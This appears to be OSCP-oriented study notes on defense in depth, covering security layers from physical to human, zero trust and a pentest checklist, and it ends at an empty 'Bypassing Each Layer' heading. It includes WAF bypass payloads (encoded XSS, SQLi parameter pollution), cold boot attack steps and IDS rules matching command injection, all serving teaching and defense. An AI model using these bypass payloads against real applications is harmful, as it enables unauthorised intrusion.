Defense in Depth
1. Concept Overview
1.1 Philosophy and Core Principles
Defense in Depth (also known as layered security) is a security strategy that employs multiple, overlapping layers of security controls across an IT environment. The fundamental premise is that no single security control is sufficient to protect an organization’s assets — instead, multiple independent controls should be deployed so that if one layer fails, others remain to detect, prevent, or mitigate the breach.
Core Principles
| Principle | Description | Attacker Implication |
|---|---|---|
| Redundancy | Multiple controls protect the same asset from different angles | Attacker must bypass multiple independent mechanisms |
| Diversity | Controls use different technologies and approaches | Bypassing one control type doesn’t automatically bypass others |
| Independence | Each layer operates autonomously | Compromising one layer doesn’t cascade to others |
| Progressive Disclosure | Each layer reveals less information to the attacker | Attacker gains minimal intel at each stage |
| Fail-Secure | Controls default to a secure state on failure | System lockdown is preferred over open access |
| Least Privilege | Each layer enforces minimal necessary access | Lateral movement is constrained even after initial compromise |
1.2 Historical Evolution
Timeline of Defense in Depth Evolution
═══════════════════════════════════════════════════════════════
1950s-1970s │ Physical Security Era
│ └─ Perimeter-based thinking (castle-and-moat)
│ └─ Focus on facility access control
1980s-1990s │ Network Perimeter Era
│ └─ Firewalls become standard
│ └─ DMZ architecture emerges
│ └─ "Trust inside, distrust outside" model
2000s │ Layered Security Era
│ └─ Multi-layered controls formalized
│ └─ NIST SP 800-53 framework published
│ └─ Defense in depth becomes industry standard
2010s │ Zero Trust Emergence
│ └─ "Never trust, always verify" paradigm
│ └─ Micro-segmentation adoption
│ └─ Identity becomes the new perimeter
2020s+ │ Adaptive & AI-Driven Defense
│ └─ Machine learning for anomaly detection
│ └─ Automated response and remediation
│ └─ Continuous verification and assessment
1.3 The Onion Model
Defense in depth is often visualized as concentric layers (like an onion), where each layer provides independent protection:
┌─────────────────────────────────┐
│ Human Layer │
│ (Awareness, Training, Culture) │
├─────────────────────────────────┤
│ Identity Layer │
│ (MFA, SSO, PAM, RBAC/ABAC) │
├─────────────────────────────────┤
│ Data Layer │
│ (Encryption, DLP, Tokenization)│
├─────────────────────────────────┤
│ Application Layer │
│ (Input Validation, Auth, WAF) │
├─────────────────────────────────┤
│ Host/Endpoint Layer │
│ (EDR, AV, HIPS, Hardening) │
├─────────────────────────────────┤
│ Network Layer │
│ (VLANs, Segmentation, NAC) │
├─────────────────────────────────┤
│ Perimeter Layer │
│ (Firewall, WAF, IDS/IPS) │
├─────────────────────────────────┤
│ Physical Layer │
│ (Facility, HSM, Access Ctrl) │
└─────────────────────────────────┘
1.4 Why Single Controls Fail
| Control Type | Failure Mode | Real-World Example |
|---|---|---|
| Firewall only | Internal threats, lateral movement | Target breach (2013) — attacker moved laterally after initial access |
| AV only | Zero-day exploits, fileless malware | WannaCry (2017) — exploited unpatched SMB, AV couldn’t stop propagation |
| MFA only | Phishing, session hijacking | Business Email Compromise attacks bypassing MFA via session cookies |
| Encryption only | Key compromise, insider threats | Equifax (2017) — unpatched vulnerability exposed encrypted data at rest |
2. Security Layers (Detailed)
2.1 Physical Layer
The physical layer is the foundation of defense in depth. If an attacker gains physical access to hardware, most other controls can be bypassed.
Facility Security Controls
| Control | Description | OSCP Relevance |
|---|---|---|
| Access Control Systems | Badge readers, biometric scanners, mantraps | Physical pentest scenarios |
| Surveillance | CCTV, motion sensors, alarm systems | Reconnaissance phase awareness |
| Environmental Controls | Temperature, humidity, fire suppression | Infrastructure resilience |
| Secure Disposal | Shredding, degaussing, destruction of media | Data recovery attack vectors |
| Cable Security | Secured server rooms, locked cable trays | Network tapping prevention |
Hardware Security Modules (HSMs)
HSMs are dedicated hardware devices that manage cryptographic keys and perform cryptographic operations:
HSM Architecture Overview
═══════════════════════════════════════════════════════════════
┌──────────────────────────────────────────────────────┐
│ Hardware Security Module │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────┐ │
│ │ Key │ │ Crypto │ │ Tamper │ │
│ │ Management │ │ Engine │ │ Resistance │ │
│ │ │ │ (AES, RSA, │ │ (Zeroize on │ │
│ │ • Gen/Store │ │ ECC, SHA) │ │ breach) │ │
│ │ • Rotation │ │ │ │ │ │
│ │ • Lifecycle │ │ • Encrypt │ │ • Physical │ │
│ └─────────────┘ │ • Decrypt │ │ sensors │ │
│ │ • Sign │ │ • Voltage │ │
│ ┌─────────────┐ │ • Hash │ │ monitoring│ │
│ │ Audit │ │ • Key Wrap │ └─────────────┘ │
│ │ Logging │ └──────────────┘ │
│ │ │ ┌──────────────┐ │
│ │ • All ops │ │ Interface │ │
│ │ • Timestamp │ │ (PKCS#11, │ │
│ │ • Integrity │ │ JCE, KMIP) │ │
│ └─────────────┘ └──────────────┘ │
└──────────────────────────────────────────────────────┘
Physical Attack Techniques
| Technique | Description | Mitigation |
|---|---|---|
| Tailgating/Piggybacking | Following authorized personnel through access points | Mantraps, security awareness, challenge culture |
| Badging Cloning | Copying RFID/NFC badge data | Encrypted badges, rolling codes, biometric backup |
| Cold Boot Attack | Extracting RAM contents by cooling memory modules | TPM, full disk encryption, secure boot |
| Keylogger Hardware | Physical device between keyboard and computer | USB device control, port security, inspection |
| USB Drop Attack | Leaving infected USB drives for discovery | USB port disablement, user training |
| DMA Attacks | Direct Memory Access via Thunderbolt/PCIe | DMA protection, IOMMU, kernel DMA protection |
Cold Boot Attack Details
# Concept: RAM retains data briefly after power loss
# Attack steps:
# 1. Reboot target machine
# 2. Boot from attacker-controlled media
# 3. Dump RAM contents before data decays
# 4. Extract encryption keys from memory
# Tools used:
# - ramdump: Extracts memory from /dev/mem
# - hibernation reader: Extracts keys from hibernation files
# - Volatility: Analyze memory dumps for keys
# Mitigation:
# - Enable TPM-based disk encryption
# - Use full disk encryption (BitLocker, LUKS)
# - Disable hibernation
# - Set short timeout for encryption key caching
2.2 Perimeter Layer
The perimeter layer forms the boundary between trusted internal networks and untrusted external networks (primarily the internet).
Firewall Technologies
| Type | Operation Layer | Capabilities | Limitations |
|---|---|---|---|
| Packet Filter | L3/L4 | IP/port filtering, stateful inspection | No application awareness |
| Stateful Firewall | L3/L4 | Connection state tracking, protocol validation | Cannot inspect encrypted payloads |
| Next-Gen Firewall (NGFW) | L3-L7 | Application ID, IPS, SSL inspection, user awareness | Performance overhead, complexity |
| Web Application Firewall (WAF) | L7 | OWASP Top 10 protection, bot management | False positives, bypass techniques |
| Proxy Firewall | L7 | Full content inspection, caching, authentication | Single point of failure, latency |
Firewall Rule Analysis
# Example: Analyzing iptables rules for misconfigurations
sudo iptables -L -n -v --line-numbers
# Common misconfigurations to look for:
# 1. Overly permissive rules (ACCEPT all)
# 2. Missing default deny policy
# 3. Rules allowing traffic from any source (0.0.0.0/0)
# 4. Legacy rules no longer needed
# 5. Rules that conflict with security policy
# Example problematic rule:
# -A INPUT -s 0.0.0.0/0 -p tcp --dport 22 -j ACCEPT
# ^ Allows SSH from ANY source — should be restricted
# Example proper rule:
# -A INPUT -s 10.0.1.0/24 -p tcp --dport 22 -j ACCEPT
# ^ Restricts SSH to management subnet only
WAF (Web Application Firewall)
WAFs operate at Layer 7 and protect web applications from common attacks:
WAF Protection Matrix
═══════════════════════════════════════════════════════════════
Attack Type │ WAF Detection Method │ Bypass Potential
─────────────────────┼─────────────────────────────┼─────────────────
SQL Injection │ Pattern matching, │ High (encoding,
│ semantic analysis │ polyglots)
─────────────────────┼─────────────────────────────┼─────────────────
XSS │ Input/output encoding, │ Medium (DOM-based
│ Content-Type validation │ XSS bypasses)
─────────────────────┼─────────────────────────────┼─────────────────
Path Traversal │ Path normalization, │ Medium (double
│ Blacklist/whitelist │ encoding)
─────────────────────┼─────────────────────────────┼─────────────────
Command Injection │ Character filtering, │ High (OS-specific
│ Argument validation │ bypasses)
─────────────────────┼─────────────────────────────┼─────────────────
File Inclusion │ Extension filtering, │ High (wrapper
│ Path validation │ protocols)
─────────────────────┼─────────────────────────────┼─────────────────
CSRF │ Token validation, │ Low (if properly
│ Origin/Referer checking │ implemented)
IDS/IPS Systems
| Feature | IDS (Intrusion Detection) | IPS (Intrusion Prevention) |
|---|---|---|
| Deployment | Out-of-band (SPAN port) | In-line (traffic path) |
| Action | Alert only | Alert + Block |
| Impact | No latency impact | Adds latency, potential DoS |
| False Positives | Lower risk | Higher risk (blocks legitimate traffic) |
| Common Tools | Snort, Suricata, Zeek | Snort inline, Suricata IPS, commercial NGFW |
# Snort rule example:
# alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (
# msg:"ET WEB_SERVER SQL Injection Attempt";
# flow:to_server,established;
# content:"SELECT"; nocase;
# content:"FROM"; nocase;
# pcre:"/(\%27)|(\')|(\-\-)|(\%23)|(#)/i";
# classtype:web-application-attack;
# sid:1000001;
# rev:1;
# )
# Suricata rule example:
# alert http $HOME_NET any -> $EXTERNAL_NET any (
# msg:"Potential Command Injection";
# flow:to_server,established;
# content:"|3b|"; # semicolon
# content:"|26|"; # ampersand
# distance:0;
# pcre:"/;\s*(cat|ls|whoami|id|uname)/i";
# sid:2000001;
# rev:1;
# )
CASB (Cloud Access Security Broker)
CASBs provide security visibility and control for cloud services:
CASB Deployment Models
═══════════════════════════════════════════════════════════════
Explicit Proxy │ API-Connected │ Service Provider
────────────────────────┼─────────────────────────┼──────────────────
• User traffic routed │ • Connects via API to │ • Integrated into
through CASB │ cloud providers │ SaaS platform
• Full visibility │ • Policy enforcement │ • Limited visibility
• SSL inspection │ • Data protection │ • Provider-dependent
• Highest control │ • No traffic routing │ • Easiest deploy
│ • Lower latency │
2.3 Network Layer
Network-layer security focuses on controlling and monitoring traffic flow within the internal network infrastructure.
VLAN Segmentation
VLAN Segmentation Example
═══════════════════════════════════════════════════════════════
Physical Switch
┌─────────────────────────────────────────────────────┐
│ │
│ VLAN 10 (Management) VLAN 20 (Servers) │
│ 10.10.10.0/24 10.10.20.0/24 │
│ ┌──────────┐ ┌──────────┐ │
│ │ Mgmt Srv │ │ Web Srv │ │
│ │ 10.10.10.5│ │ 10.10.20.5│ │
│ └──────────┘ └──────────┘ │
│ │
│ VLAN 30 (Users) VLAN 40 (Guest) │
│ 10.10.30.0/24 10.10.40.0/24 │
│ ┌──────────┐ ┌──────────┐ │
│ │ Workstn │ │ Guest │ │
│ │ 10.10.30.x│ │ Device │ │
│ └──────────┘ └──────────┘ │
│ │
│ Inter-VLAN routing controlled by firewall rules │
└─────────────────────────────────────────────────────┘
Inter-VLAN Traffic Policy:
• VLAN 10 → VLAN 20: Allow SSH (22), SNMP (161)
• VLAN 20 → VLAN 30: Allow HTTP (80), HTTPS (443)
• VLAN 30 → VLAN 10: DENY ALL
• VLAN 40 → Any: DENY ALL (internet only)
• Any → VLAN 40: DENY ALL
Network Access Control (NAC)
NAC ensures only authorized and compliant devices can access the network:
NAC Enforcement Workflow
═══════════════════════════════════════════════════════════════
Device Connects to Network
│
▼
┌─────────────────┐
│ 802.1X │◄── Device presents credentials
│ Authentication │ (certificate, password, or MFA)
└────────┬────────┘
│
▼
┌─────────────────┐
│ Policy │◄── Check device compliance:
│ Evaluation │ • OS patch level
│ │ • AV status
│ │ • Encryption enabled?
│ │ • No unauthorized software
└────────┬────────┘
│
┌────┴────┐
│ │
Pass Fail
│ │
▼ ▼
┌────────┐ ┌──────────────┐
│ Grant │ │ Quarantine │
│ Full │ │ Network │
│ Access │ │ (Remediation │
└────────┘ │ VLAN) │
└──────────────┘
Zero Trust Networking (ZTN)
Zero Trust Networking eliminates the concept of a trusted internal network:
Traditional vs Zero Trust Networking
═══════════════════════════════════════════════════════════════
TRADITIONAL (Castle-and-Moat) ZERO TRUST
───────────────────────────────── ─────────────────────────
┌───────────────────────────┐ Every request is verified
│ Trusted Zone │ regardless of source
│ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │ App │ │ DB │ │ File│ │ ┌─────────────────────┐
│ └─────┘ └─────┘ └─────┘ │ │ Micro-Segmentation │
│ │ │ ┌───┐ ┌───┐ ┌───┐ │
│ Perimeter Firewall │ │ │ A │ │ B │ │ C │ │
│ ┌───────────────────┐ │ │ └───┘ └───┘ └───┘ │
│ │ Internet │ In │ │ │ Each segment │
│ └───────────────────┘ │ │ isolated │
└───────────────────────────┘ │ Identity-based │
│ access policies │
Assumption: Inside = Trusted └─────────────────────┘
Problem: Lateral movement easy Assumption: Nothing
is trusted by default
2.4 Host/Endpoint Layer
The host layer protects individual endpoints (servers, workstations, mobile devices) from compromise.
EDR (Endpoint Detection and Response)
EDR solutions provide advanced threat detection and response capabilities:
EDR Architecture and Capabilities
═══════════════════════════════════════════════════════════════
┌──────────────────────────────────────────────────────┐
│ EDR Agent (on Endpoint) │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────┐ │
│ │ Process │ │ File System │ │ Network │ │
│ │ Monitoring │ │ Monitoring │ │ Monitoring │ │
│ │ │ │ │ │ │ │
│ │ • Creation │ │ • Create │ │ • Connect │ │
│ │ • Injection │ │ • Delete │ │ • Listen │ │
│ │ • Hollowing │ │ • Modify │ │ • Bind │ │
│ │ • Dll │ │ • Rename │ │ • DNS │ │
│ │ Load │ │ • Attribute │ │ • HTTP │ │
│ └─────────────┘ │ Change │ └─────────────┘ │
│ └──────────────┘ │
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ Behavioral Analysis Engine │ │
│ │ • Machine Learning Models │ │
│ │ • Rule-Based Detection │ │
│ │ • Anomaly Scoring │ │
│ └──────────────────────────────────────────────┘ │
│ │
│ ┌─────────────┐ ┌──────────────┐ │
│ │ Response │ │ Telemetry │ │
│ │ Actions │ │ Collection │ │
│ │ │ │ │ │
│ │ • Kill Proc │ │ • Events │ │
│ │ • Isolate │ │ • Artifacts│ │
│ │ • Quarantine│ │ • Context │ │
│ │ • Rollback │ └──────────────┘ │
│ └─────────────┘ │
└──────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ EDR Management Console │
│ • Centralized Dashboard • Alert Correlation │
│ • Threat Hunting • Automated Response │
│ • Forensic Investigation • Policy Management │
└──────────────────────────────────────────────────────┘
Host-Based Intrusion Prevention (HIPS)
HIPS monitors and controls activity on individual hosts:
| HIPS Capability | Description | Example |
|---|---|---|
| Process Monitoring | Tracks process creation, termination, and behavior | Blocks suspicious child processes |
| Registry Protection | Monitors and controls registry modifications | Prevents persistence via Run keys |
| File System Protection | Controls file creation, modification, deletion | Blocks dropper activity |
| Network Protection | Monitors outbound connections | Blocks C2 communication |
| Script Blocking | Controls script execution | Blocks malicious PowerShell |
Patch Management
Patch Management Lifecycle
═══════════════════════════════════════════════════════════════
1. Inventory 2. Vulnerability 3. Prioritize
Assessment Assessment Patches
┌──────────┐ ┌──────────┐ ┌──────────┐
│ OS/ │ ──► │ Scan for │ ──► │ CVSS │
│ App │ │ CVEs │ │ Score │
│ Version │ │ Missing │ │ Exploit │
│ Tracking │ │ Patches │ │ Avail. │
└──────────┘ └──────────┘ └────┬─────┘
│
▼
4. Test 5. Deploy 6. Verify
Patches Patches Remediation
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Staging │ ──► │ Phased │ ──► │ Rescan │
│ Env │ │ Rollout │ │ Confirm │
│ Testing │ │ (Pilot → │ │ Close │
│ │ │ Full) │ │ Loop │
└──────────┘ └──────────┘ └──────────┘
System Hardening Checklist
# Linux Hardening Commands
# ─────────────────────────
# Disable unnecessary services
sudo systemctl disable --now cups bluetooth avahi-daemon
# Secure SSH Configuration
# /etc/ssh/sshd_config
# PermitRootLogin no
# PasswordAuthentication no
# MaxAuthTries 3
# Protocol 2
# AllowUsers admin user1 user2
# Enable automatic security updates
sudo apt install unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades
# Configure firewall (UFW)
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp comment 'SSH'
sudo ufw enable
# File system permissions
chmod 750 /var/log
chmod 640 /etc/shadow
chmod 000 /etc/gshadow
# Kernel hardening (sysctl)
# /etc/sysctl.d/99-hardening.conf
# net.ipv4.ip_forward=0
# net.ipv4.conf.all.accept_redirects=0
# net.ipv4.conf.all.send_redirects=0
# net.ipv4.conf.all.accept_source_route=0
# kernel.randomize_va_space=2
# kernel.dmesg_restrict=1
# Windows Hardening Commands
# ───────────────────────────
# Enable Windows Defender with tamper protection
Set-MpPreference -DisableRealtimeMonitoring $false
# Enable Attack Surface Reduction (ASR) rules
Add-MpPreference -AttackSurfaceReductionRules_Ids `
"D4F940AB-401B-4EFC-AADC-AD5F3C50688A" ` # Block Office creating children
"5BEB7EFE-FD9A-45D6-808D-3EAC6654E625" ` # Block Office injecting into processes
"D3E037E1-3EB8-44C8-A917-57927947596D" ` # Block JavaScript/VBScript executing downloads
-AttackSurfaceReductionRules_Actions Enabled
# Enable Credential Guard
Enable-WindowsOptionalFeature -Online `
-FeatureName VirtualizationBasedSecurity `
-NoRestart
# Restrict PowerShell execution
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine
# Enable Audit Policies
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable
2.5 Application Layer
Application-layer security protects the software applications themselves from exploitation.
Input Validation Strategies
| Strategy | Description | Example | Security Level |
|---|---|---|---|
| Blacklist | Block known bad patterns | Block <script>, SELECT, ../ |
Low (easily bypassed) |
| Whitelist | Allow only known good patterns | Allow [a-zA-Z0-9_] only |
High |
| Type Checking | Validate data types and ranges | Integer must be 1-100 | Medium-High |
| Encoding | Encode special characters | HTML entity encoding | Medium |
| Parameterized Queries | Separate code from data | Prepared statements | High (SQLi prevention) |
Authentication Mechanisms
Authentication Strength Comparison
═══════════════════════════════════════════════════════════════
Method │ Strength │ Phishing │ Replay │ Implementation
────────────────────┼───────────┼──────────┼──────────┼─────────────────
Password only │ Low │ Vulnerable│ Vulnerable│ Easy
Password + Salt │ Medium │ Vulnerable│ Partial │ Moderate
OTP (SMS) │ Medium │ Vulnerable│ Single-use│ Moderate
OTP (TOTP) │ High │ Partial │ Single-use│ Moderate
WebAuthn/FIDO2 │ Very High │ Resistant │ Resistant │ Complex
Certificate-based │ Very High │ Resistant │ Resistant │ Complex
Biometric │ High │ Resistant │ N/A │ Hardware dep.
Session Management Security
| Control | Description | Attack if Missing |
|---|---|---|
| Secure Flag | Cookie only sent over HTTPS | Cookie theft via MITM |
| HttpOnly Flag | Cookie inaccessible to JavaScript | XSS cookie theft |
| SameSite Attribute | Restricts cross-site cookie sending | CSRF attacks |
| Session Timeout | Expires inactive sessions | Session hijacking |
| Session Regeneration | New ID after authentication | Session fixation |
| Secure Storage | Server-side session storage | Session file theft |
WAF Rule Bypass Techniques
Common WAF Bypass Methods
═══════════════════════════════════════════════════════════════
1. Encoding Bypass
┌─────────────────────────────────────────────────────┐
│ Original: <script>alert(1)</script> │
│ URL-encoded: %3Cscript%3Ealert(1)%3C/script%3E │
│ Double-encoded: %253Cscript%253E │
│ Unicode: \u003Cscript\u003E │
│ Hex: \x3Cscript\x3E │
└─────────────────────────────────────────────────────┘
2. Case Variation
┌─────────────────────────────────────────────────────┐
│ <ScRiPt>alert(1)</sCrIpT> │
│ <SCRIPT>alert(1)</SCRIPT> │
└─────────────────────────────────────────────────────┘
3. HTTP Parameter Pollution
───────────────────────────────────────
┌─────────────────────────────────────────────────────┐
│ id=1&id=1 OR 1=1 │
│ id=1;id=1 OR 1=1 │
│ id[]=1 │
└─────────────────────────────────────────────────────┘
4. Content-Type Manipulation
┌─────────────────────────────────────────────────────┐
│ Change Content-Type to bypass WAF rules │
│ application/json → application/xml │
│ application/x-www-form-urlencoded → multipart │
└─────────────────────────────────────────────────────┘
5. Request Smuggling
┌─────────────────────────────────────────────────────┐
│ CL.TE: Different Content-Length and Transfer- │
│ Encoding values to confuse WAF vs backend │
│ TE.CL: Transfer-Encoding with embedded request │
└─────────────────────────────────────────────────────┘
2.6 Data Layer
Data-layer security protects information regardless of its location or state.
Encryption Types
| Type | When Applied | Use Case | Algorithm Examples |
|---|---|---|---|
| At Rest | Data stored on disk | Database, file storage | AES-256, ChaCha20 |
| In Transit | Data being transmitted | HTTPS, TLS connections | TLS 1.3, AES-GCM |
| In Use | Data being processed | Confidential computing | Homomorphic encryption, TEEs |
Data Loss Prevention (DLP)
DLP Detection Methods
═══════════════════════════════════════════════════════════════
Pattern Matching Fingerprinting Classification
──────────────────────── ────────────────────── ────────────────
• Credit card numbers • Document fingerprint • Sensitivity labels
• SSN patterns • Exact content match • Auto-classification
• Email addresses • Hash comparison • ML-based tagging
• Phone numbers • Watermark detection • Context analysis
• Custom regex patterns │ │
│ │
▼ ▼
┌──────────────────────────────────────┐
│ DLP Policy Engine │
│ │
│ If (data matches pattern AND │
│ channel = email AND │
│ destination = external) THEN │
│ Block + Alert + Log │
└──────────────────────────────────────┘
Data Classification Framework
| Classification | Description | Examples | Protection Level |
|---|---|---|---|
| Public | No restriction | Marketing materials, press releases | Minimal |
| Internal | Internal use only | Org charts, internal policies | Standard encryption |
| Confidential | Limited access | Financial data, HR records | Strong encryption, access control |
| Restricted | Highly sensitive | PII, health data, trade secrets | Maximum encryption, audit logging |
| Top Secret | Critical national security | Government classified data | Physical + digital controls |
Tokenization
Tokenization Process
═══════════════════════════════════════════════════════════════
Original Data Tokenization Service Tokenized Data
───────────── ────────────────────── ──────────────
Credit Card: ┌──────────────────────┐ Token:
4111 1111 │ │ tK9x2mP7qR4w
1111 1234 │ Mapping Table: │
│ 4111...1234 ↔ │
│ tK9x2mP7qR4w │
│ │
│ • No mathematical │
│ relationship │
│ • Random tokens │
│ • Format-preserving │
│ option available │
└──────────────────────┘
Benefits:
• Token has no intrinsic value if stolen
• Reduces PCI DSS scope
• Original data only accessible via tokenization service
• Can be reversible (format-preserving) or irreversible
2.7 Identity Layer
Identity-layer security manages and protects user and service identities.
Multi-Factor Authentication (MFA)
MFA Factor Types
═══════════════════════════════════════════════════════════════
Something You KNOW Something You HAVE Something You ARE
───────────────── ────────────────── ─────────────────
• Password • Smartphone (TOTP) • Fingerprint
• PIN • Hardware token (YubiKey) • Facial recognition
• Security questions • Smart card • Iris scan
• One-time passcode • Security key (FIDO2) • Voice recognition
(SMS/Email) • Hardware HSM token • Vein pattern
MFA Strength Ranking:
1. FIDO2/WebAuthn (phishing-resistant, strongest)
2. Hardware tokens (YubiKey, RSA SecurID)
3. TOTP (Google Authenticator, Authy)
4. Push notifications (Microsoft Authenticator)
5. SMS OTP (weakest, SIM swap vulnerable)
Privileged Access Management (PAM)
PAM Architecture
═══════════════════════════════════════════════════════════════
┌──────────────────────────────────────────────────────┐
│ Privileged Access Manager │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────┐ │
│ │ Credential │ │ Session │ │ Just-In- │ │
│ │ Vault │ │ Recording │ │ Time Access │ │
│ │ │ │ │ │ (JIT) │ │
│ │ • Auto- │ │ • Full │ │ │ │
│ │ rotation │ │ recording │ │ • Time- │ │
│ │ • Check- │ │ • Keystroke │ │ bounded │ │
│ │ out/in │ │ capture │ │ • Approval │ │
│ │ • Break- │ │ • Playback │ │ workflow │ │
│ │ glass │ │ • Audit │ │ • Auto- │ │
│ │ access │ │ │ │ revoke │ │
│ └─────────────┘ └──────────────┘ └─────────────┘ │
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ Approval Workflow │ │
│ │ Request → Manager Approval → Grant → Use │ │
│ │ → Return → Audit Review │ │
│ └──────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────┘
RBAC vs ABAC
| Feature | RBAC (Role-Based) | ABAC (Attribute-Based) |
|---|---|---|
| Decision Factor | User’s role | User attributes + resource attributes + environment |
| Granularity | Coarse (role-level) | Fine-grained (context-aware) |
| Complexity | Simple to manage | Complex policy management |
| Flexibility | Limited | Highly flexible |
| Example | “Admins can access all servers” | “User can access server IF department=IT AND time=business_hours AND location=office” |
| Best For | Stable org structures | Dynamic, complex environments |
2.8 Human Layer
The human layer addresses the people factor in security — both as a potential attack vector.
Security Awareness Training Topics
| Topic | Description | Assessment Method |
|---|---|---|
| Phishing Recognition | Identifying suspicious emails, URLs, attachments | Simulated phishing campaigns |
| Password Hygiene | Strong passwords, password managers, MFA | Password audits, MFA adoption rates |
| Social Engineering | Phone, in-person, and digital manipulation | Simulated vishing/pretexting |
| Physical Security | Badge policies, tailgating, clean desk | Observation, audits |
| Data Handling | Classification, sharing, disposal | Policy quizzes, monitoring |
| Incident Reporting | How and when to report suspicious activity | Report rates, response times |
Social Engineering Defense
Social Engineering Attack Vectors and Defenses
═══════════════════════════════════════════════════════════════
Vector │ Technique │ Defense Strategy
────────────────────┼────────────────────────┼─────────────────────
Phishing │ Fake login pages, │ Email filtering,
│ malicious attachments │ user training,
│ │ URL inspection
────────────────────┼────────────────────────┼─────────────────────
Spear Phishing │ Personalized attacks │ Advanced training,
│ using researched info │ anomaly detection
────────────────────┼────────────────────────────────┼─────────────────────
Vishing │ Phone-based │ Call verification,
│ impersonation │ callback procedures
────────────────────┼────────────────────────┼─────────────────────
Pretexting │ Fabricated scenarios │ Verification
│ to extract info │ protocols, challenge
│ │ questions
────────────────────┼────────────────────────┼─────────────────────
Baiting │ Physical/digital │ USB port control,
│bait (USB drops, │ user awareness,
│ fake downloads) │ device control
────────────────────┼────────────────────────┼─────────────────────
Tailgating │ Following authorized │ Mantraps, challenge
│ personnel in │ culture, badges
────────────────────┼────────────────────────┼─────────────────────
Quid Pro Quo │ Offering help/service │ Verification of
│ in exchange for info │ caller identity
3. Zero Trust Architecture
3.1 Core Principles
Zero Trust is a security framework based on the principle of “never trust, always verify”. Unlike traditional defense in depth which assumes internal networks are trusted, Zero Trust treats every access request as potentially hostile.
Zero Trust Pillars (NIST SP 800-207)
═══════════════════════════════════════════════════════════════
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ Devices │ │ Users │ │ Networks │
│ │ │ │ │ │
│ • Device │ │ • Identity │ │ • Micro- │
│ inventory │ │ verification │ │ segmentation │
│ • Health │ │ • Continuous │ │ • Encryption │
│ assessment │ │ authentication│ │ • Monitoring │
│ • Compliance │ │ • Context-aware │ │ • Least │
│ • Patch status │ │ access │ │ privilege │
└─────────────────┘ └─────────────────┘ └─────────────────┘
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ Applications │ │ Services │ │ Data │
│ │ │ │ │ │
│ • Inventory │ │ • Service │ │ • Classification│
│ • Authorization │ │ discovery │ │ • Encryption │
│ • Segregation │ │ • API security │ │ • Access │
│ • Least │ │ • Monitoring │ │ controls │
│ privilege │ │ │ │ • DLP │
└─────────────────┘ └─────────────────┘ └─────────────────┘
3.2 Zero Trust vs Traditional Defense in Depth
| Aspect | Traditional Defense in Depth | Zero Trust |
|---|---|---|
| Trust Model | Trust inside the perimeter | Never trust, always verify |
| Network Access | Broad internal access after perimeter breach | Micro-segmented, least privilege |
| Authentication | Once at login | Continuous, adaptive |
| Identity | Username/password at perimeter | Identity-centric, everywhere |
| Data Protection | Perimeter-focused | Data-centric, everywhere |
| Monitoring | Perimeter and key systems | All traffic, all devices |
| Assumption | Internal = trusted | Nothing is trusted by default |
| Lateral Movement | Possible after initial breach | Constrained by micro-segmentation |
3.3 Zero Trust Implementation Strategies
Zero Trust Implementation Roadmap
═══════════════════════════════════════════════════════════════
Phase 1: Visibility and Assessment (Months 1-3)
─────────────────────────────────────────────────
• Inventory all assets (devices, apps, data)
• Map data flows and access patterns
• Identify critical assets and crown jewels
• Assess current security posture
Phase 2: Identity Foundation (Months 3-6)
───────────────────────────────────────────
• Implement strong identity management
• Deploy MFA everywhere
• Establish single sign-on (SSO)
• Implement privileged access management
Phase 3: Network Segmentation (Months 6-12)
─────────────────────────────────────────────
• Deploy micro-segmentation
• Implement software-defined perimeters
• Restrict east-west traffic
• Enable encrypted internal communications
Phase 4: Continuous Monitoring (Months 12-18)
───────────────────────────────────────────────
• Deploy UEBA (User Entity Behavior Analytics)
• Implement continuous authentication
• Establish automated response playbooks
• Create security orchestration (SOAR)
Phase 5: Optimization (Ongoing)
────────────────────────────────
• Refine policies based on telemetry
• Automate routine responses
• Expand to cloud and remote workloads
• Continuous improvement cycle
4. OSCP Exam Relevance
4.1 How Defense in Depth Affects Penetration Testing
Understanding defense in depth is critical for OSCP because:
- Realistic Targets: Exam machines implement multiple layers of defense
- Methodical Approach: You must systematically test each layer
- Persistence Required: One failed path doesn’t mean failure — try another layer
- Enumeration is Key: Each layer reveals different information
4.2 Most Commonly Tested Layers
| Layer | Frequency | Typical Challenges |
|---|---|---|
| Application | Very High | Web app vulnerabilities (SQLi, XSS, RCE, file upload) |
| Network | High | Service exploitation, port scanning, protocol abuse |
| Host/Endpoint | High | Privilege escalation, misconfigurations, weak services |
| Identity | Medium | Weak passwords, default credentials, Kerberoasting |
| Perimeter | Medium | Firewall rules, exposed services, proxy misconfigs |
| Physical | Low | Rarely tested directly in OSCP |
| Data | Low | Data exfiltration techniques |
4.3 Identifying Weak Layers During an Engagement
Layer Assessment Checklist for OSCP
═══════════════════════════════════════════════════════════════
Perimeter Assessment:
□ What ports are open? (nmap)
□ What services are exposed? (version detection)
□ Are there any default credentials?
□ Is there a web application? What technology stack?
Network Assessment:
□ Can I discover other hosts? (ARP scan, SMB enum)
□ Are there VLAN hopping opportunities?
□ Can I pivot through compromised hosts?
□ What internal services are accessible?
Host Assessment:
□ What OS and version? (OS fingerprinting)
□ What services are running locally?
□ Are there misconfigured permissions?
□ What users exist? What groups?
□ Are there scheduled tasks/cron jobs?
□ What patches are missing?
Application Assessment:
□ What input fields exist?
□ Can I inject code? (SQLi, command injection)
□ Are there file upload vulnerabilities?
□ Is authentication bypassable?
□ Are there information disclosure issues?
Identity Assessment:
□ Are passwords weak? (brute force, dictionary)
□ Are there default accounts?
□ Can I harvest credentials from memory?
□ Are there Kerberos attacks possible?
□ Can I pass the hash?
5. Bypassing Each Layer (Attacker’s Perspective)
